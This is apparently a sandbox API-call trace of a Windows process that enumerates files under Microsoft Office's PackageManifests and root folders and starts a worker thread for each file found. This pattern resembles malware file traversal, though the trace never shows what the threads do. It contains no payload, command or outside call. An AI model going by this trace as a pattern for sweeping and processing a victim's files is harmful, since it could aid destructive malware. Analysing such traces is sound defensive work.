	[0093.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac
	[0093.351] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1
	[0093.351] wcscmp (_String1="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.351] wcscmp (_String1="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773630
	[0093.351] wcscpy (in: _Dest=0x4773630, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.351] wcscat (in: _Dest=0x4773630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.351] wcscat (in: _Dest=0x4773630, _Source="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml"
	[0093.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8
	[0093.352] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1
	[0093.352] wcscmp (_String1="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.352] wcscmp (_String1="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773710
	[0093.352] wcscpy (in: _Dest=0x4773710, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.352] wcscat (in: _Dest=0x4773710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.352] wcscat (in: _Dest=0x4773710, _Source="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml"
	[0093.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4
	[0093.353] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1
	[0093.353] wcscmp (_String1="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.353] wcscmp (_String1="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772d70
	[0093.353] wcscpy (in: _Dest=0x4772d70, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.353] wcscat (in: _Dest=0x4772d70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.353] wcscat (in: _Dest=0x4772d70, _Source="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml"
	[0093.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0
	[0093.354] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1
	[0093.354] wcscmp (_String1="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.354] wcscmp (_String1="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772830
	[0093.354] wcscpy (in: _Dest=0x4772830, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.354] wcscat (in: _Dest=0x4772830, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.354] wcscat (in: _Dest=0x4772830, _Source="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml"
	[0093.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c
	[0093.354] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1
	[0093.354] wcscmp (_String1="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.354] wcscmp (_String1="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4774190
	[0093.354] wcscpy (in: _Dest=0x4774190, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.354] wcscat (in: _Dest=0x4774190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.354] wcscat (in: _Dest=0x4774190, _Source="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml"
	[0093.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4774190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198
	[0093.355] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1
	[0093.355] wcscmp (_String1="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.355] wcscmp (_String1="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47738d0
	[0093.355] wcscpy (in: _Dest=0x47738d0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.355] wcscat (in: _Dest=0x47738d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.355] wcscat (in: _Dest=0x47738d0, _Source="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml"
	[0093.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47738d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194
	[0093.356] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1
	[0093.356] wcscmp (_String1="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.356] wcscmp (_String1="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47739b0
	[0093.356] wcscpy (in: _Dest=0x47739b0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.356] wcscat (in: _Dest=0x47739b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.356] wcscat (in: _Dest=0x47739b0, _Source="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml"
	[0093.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47739b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190
	[0093.357] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1
	[0093.357] wcscmp (_String1="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.357] wcscmp (_String1="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4774430
	[0093.357] wcscpy (in: _Dest=0x4774430, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.357] wcscat (in: _Dest=0x4774430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.357] wcscat (in: _Dest=0x4774430, _Source="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml"
	[0093.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4774430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c
	[0093.357] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1
	[0093.357] wcscmp (_String1="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.357] wcscmp (_String1="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47745f0
	[0093.357] wcscpy (in: _Dest=0x47745f0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.357] wcscat (in: _Dest=0x47745f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.357] wcscat (in: _Dest=0x47745f0, _Source="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml"
	[0093.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47745f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188
	[0093.358] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1
	[0093.358] wcscmp (_String1="AppXManifest.common.xml", _String2=".") returned 1
	[0093.358] wcscmp (_String1="AppXManifest.common.xml", _String2="..") returned 1
	[0093.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x48950e0
	[0093.358] wcscpy (in: _Dest=0x48950e0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.358] wcscat (in: _Dest=0x48950e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.358] wcscat (in: _Dest=0x48950e0, _Source="AppXManifest.common.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml"
	[0093.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48950e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184
	[0093.360] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1
	[0093.360] wcscmp (_String1="AppXManifestLoc.en-us.xml", _String2=".") returned 1
	[0093.360] wcscmp (_String1="AppXManifestLoc.en-us.xml", _String2="..") returned 1
	[0093.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7f850
	[0093.360] wcscpy (in: _Dest=0x2d7f850, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.360] wcscat (in: _Dest=0x2d7f850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.360] wcscat (in: _Dest=0x2d7f850, _Source="AppXManifestLoc.en-us.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml"
	[0093.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180
	[0093.360] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1
	[0093.360] wcscmp (_String1="AuthoredExtensions.xml", _String2=".") returned 1
	[0093.360] wcscmp (_String1="AuthoredExtensions.xml", _String2="..") returned 1
	[0093.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895400
	[0093.361] wcscpy (in: _Dest=0x4895400, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.361] wcscat (in: _Dest=0x4895400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.361] wcscat (in: _Dest=0x4895400, _Source="AuthoredExtensions.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml"
	[0093.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4895400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c
	[0093.361] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0
	[0093.361] FindClose (in: hFindFile=0x2d71540 | out: hFindFile=0x2d71540) returned 1
	[0093.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88150) returned 1
	[0093.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e043d8) returned 1
	[0093.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86c78) returned 1

Thread:
	id = 231
	os_tid = 0xbdc

	[0076.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77cc0
	[0076.746] wcscpy (in: _Dest=0x2d77cc0, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0076.746] wcscat (in: _Dest=0x2d77cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0076.746] wcscat (in: _Dest=0x2d77cc0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\*") returned="C:\\Program Files\\Microsoft Office\\root\\*"
	[0076.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d883a8
	[0076.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70840
	[0076.746] wcscmp (_String1=".", _String2=".") returned 0
	[0076.747] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.747] wcscmp (_String1="..", _String2=".") returned 1
	[0076.747] wcscmp (_String1="..", _String2="..") returned 0
	[0076.747] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1
	[0076.747] wcscmp (_String1="client", _String2=".") returned 1
	[0076.747] wcscmp (_String1="client", _String2="..") returned 1
	[0076.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x47339a0
	[0076.747] wcscpy (in: _Dest=0x47339a0, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0076.747] wcscat (in: _Dest=0x47339a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0076.747] wcscat (in: _Dest=0x47339a0, _Source="client" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\client") returned="C:\\Program Files\\Microsoft Office\\root\\client"
	[0077.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47339a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c
